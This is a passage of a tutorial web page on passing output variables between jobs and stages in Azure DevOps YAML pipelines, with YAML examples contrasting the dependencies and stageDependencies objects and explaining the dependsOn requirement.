fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='132' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='500' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='116' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='500' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='68' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='196' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='196' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='500' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='68' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='196' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='196' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='196' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='196' fill='currentColor' style='font-size:1em'\u003e|\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eVisual Notes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eGreen Path (Same Stage):\u003c/strong\u003e Uses the \u003ccode\u003edependencies\u003c/code\u003e object. The path is shorter because the stage name is implied.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eBlue Path (Cross-Stage):\u003c/strong\u003e Uses the \u003ccode\u003estageDependencies\u003c/code\u003e object. The path requires the \u003ccode\u003eStageName\u003c/code\u003e segment.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMandatory Link:\u003c/strong\u003e Both paths require a \u003ccode\u003edependsOn\u003c/code\u003e declaration to populate the respective dependency context.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#  $[ dependencies.BuildJob.outputs[\u0026#39;computeTag.imageTag\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#  │   │            │         │      │           │\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#  │   │            │         │      │           └── variable name (isOutput=true)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#  │   │            │         │      └── step name: (not displayName:)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#  │   │            │         └── outputs accessor\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#  │   │            └── job: key from producer\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#  │   └── same-stage dependencies object\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#  └── runtime expression wrapper\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"the-dependson-requirement\"\u003eThe \u003ccode\u003edependsOn\u003c/code\u003e Requirement\u003c/h3\u003e\n\u003cp\u003eThe consuming job must declare \u003ccode\u003edependsOn: ProducerJobName\u003c/code\u003e. Without it, the \u003ccode\u003edependencies\u003c/code\u003e object for the producing job is not populated, and the reference resolves to empty string.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003edependsOn\u003c/code\u003e serves two functions simultaneously: it establishes execution order (consumer runs after producer completes) and grants the consumer access to the producer\u0026rsquo;s output variable data. You cannot separate these two effects — \u003ccode\u003edependsOn\u003c/code\u003e is always required for both.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildJob\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      IMAGE_TAG=\u0026#34;${BUILD_BUILDID}-$(git rev-parse --short HEAD)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      echo \u0026#34;##vso[task.setvariable variable=imageTag;isOutput=true]$IMAGE_TAG\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ecomputeTag\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Compute and set image tag\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployJob\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn: BuildJob          # Required\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eestablishes ordering AND populates dependencies object\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ dependencies.BuildJob.outputs[\u0026#39;computeTag.imageTag\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      echo \u0026#34;Deploying image: $(imageTag)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      docker pull myregistry.azurecr.io/myapp:$(imageTag)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Deploy tagged image\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eA job can declare \u003ccode\u003edependsOn\u003c/code\u003e on multiple jobs and access output variables from any of them in the same \u003ccode\u003evariables:\u003c/code\u003e block.\u003c/p\u003e\n\u003ch3 id=\"the-two-consumption-patterns\"\u003eThe Two Consumption Patterns\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003ePattern 1 — Variable Mapping:\u003c/strong\u003e Map the output variable into the consuming job\u0026rsquo;s \u003ccode\u003evariables:\u003c/code\u003e block. All steps in the job can then access it via \u003ccode\u003e$(varName)\u003c/code\u003e macro expansion. This is required when the value reaches a script, task input, or any step-level field.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePattern 2 — Direct Condition Reference:\u003c/strong\u003e Use the full \u003ccode\u003e$[ dependencies... ]\u003c/code\u003e reference directly in a \u003ccode\u003econdition:\u003c/code\u003e field. No variable mapping is needed when the value only controls whether a job or step executes.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Pattern 1: Variable mapping — required for script and task access\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployJob\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildJob\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# Map into job scope so steps can read it via $(imageTag)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ dependencies.BuildJob.outputs[\u0026#39;computeTag.imageTag\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      echo \u0026#34;Deploying: $(imageTag)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      docker pull myregistry.azurecr.io/myapp:$(imageTag)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Pull and deploy image\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Pattern 2: Direct condition reference — sufficient when value only drives a condition\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eNotifyJob\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildJob\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# No variables mapping needed — reference evaluates inline in condition:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeq(dependencies.BuildJob.outputs[\u0026#39;computeTag.imageTag\u0026#39;], \u0026#39;latest\u0026#39;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Latest tag detected — triggering downstream notification\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Notify on latest tag\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003e$[ ]\u003c/code\u003e runtime expression syntax is only evaluated in two contexts: \u003ccode\u003econdition:\u003c/code\u003e fields and \u003ccode\u003evariables:\u003c/code\u003e block values. It does not work inside step inputs, script bodies, or task parameter fields. If you write \u003ccode\u003e$(imageTag)\u003c/code\u003e in a script and it resolves to the literal string, check that the variable mapping exists in the job\u0026rsquo;s \u003ccode\u003evariables:\u003c/code\u003e block — the \u003ccode\u003e$[ ]\u003c/code\u003e expression must be the bridge.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"cross-stage-output-variable-references\"\u003eCross-Stage Output Variable References\u003c/h2\u003e\n\u003ch3 id=\"stagedependencies-vs-dependencies\"\u003e\u003ccode\u003estageDependencies\u003c/code\u003e vs. \u003ccode\u003edependencies\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eWithin a stage, use \u003ccode\u003edependencies\u003c/code\u003e — the object contains jobs from the same stage.\u003c/p\u003e\n\u003cp\u003eAcross stages, use \u003ccode\u003estageDependencies\u003c/code\u003e — the object contains jobs from other stages that the current stage depends on.\u003c/p\u003e\n\u003cp\u003eUsing \u003ccode\u003edependencies\u003c/code\u003e to reference a job in another stage resolves to empty string. No parse error, no warning. It is one of the most common sources of silent failures in multi-stage pipelines.\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e\u003c/th\u003e\n          \u003cth\u003e\u003ccode\u003edependencies\u003c/code\u003e\u003c/th\u003e\n          \u003cth\u003e\u003ccode\u003estageDependencies\u003c/code\u003e\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eScope\u003c/td\u003e\n          \u003ctd\u003eJobs in the \u003cstrong\u003esame\u003c/strong\u003e stage\u003c/td\u003e\n          \u003ctd\u003eJobs in \u003cstrong\u003eother\u003c/strong\u003e stages\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eSyntax\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003edependencies.JobName.outputs['step.var']\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003estageDependencies.StageName.JobName.outputs['step.var']\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eWhen to use\u003c/td\u003e\n          \u003ctd\u003eSame-stage cross-job reference\u003c/td\u003e\n          \u003ctd\u003eCross-stage reference\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eCommon mistake\u003c/td\u003e\n          \u003ctd\u003eUsed for cross-stage (wrong)\u003c/td\u003e\n          \u003ctd\u003eForgetting the stage name segment\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Wrong: using dependencies for a cross-stage reference — silent empty string\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ dependencies.BuildJob.outputs[\u0026#39;computeTag.imageTag\u0026#39;] ] \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# BuildJob is in a different stage\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Correct: using stageDependencies with the stage name included\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ stageDependencies.BuildStage.BuildJob.outputs[\u0026#39;computeTag.imageTag\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"the-full-cross-stage-reference-path\"\u003eThe Full Cross-Stage Reference Path\u003c/h3\u003e\n\u003cp\u003eThe full syntax for a cross-stage output variable reference is:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$[ stageDependencies.ProducerStageName.ProducerJobName.outputs[\u0026#39;stepName.varName\u0026#39;] ]\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eFive components: the \u003ccode\u003e$[ ]\u003c/code\u003e wrapper, \u003ccode\u003estageDependencies\u003c/code\u003e, the stage\u0026rsquo;s \u003ccode\u003estage:\u003c/code\u003e key value, the job\u0026rsquo;s \u003ccode\u003ejob:\u003c/code\u003e key value, and the \u003ccode\u003eoutputs['stepName.varName']\u003c/code\u003e accessor.\u003c/p\u003e\n\u003cp\u003eThe consuming stage must declare \u003ccode\u003edependsOn: ProducerStageName\u003c/code\u003e. Without it, \u003ccode\u003estageDependencies\u003c/code\u003e does not contain the producer stage\u0026rsquo;s data — the reference resolves to empty string.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Stage 1: Build the image and emit the tag as an output variable\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildStage\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Build\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildJob\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        SHORT_SHA=$(git rev-parse --short HEAD)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        IMAGE_TAG=\u0026#34;${BUILD_BUILDID}-${SHORT_SHA}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;##vso[task.setvariable variable=imageTag;isOutput=true]$IMAGE_TAG\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ecomputeTag             \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Required identifier in downstream references\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Compute image tag\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Stage 2: Read the tag from Stage 1 and verify the image\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eTestStage\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Integration Tests\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildStage            \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Required for stageDependencies.BuildStage 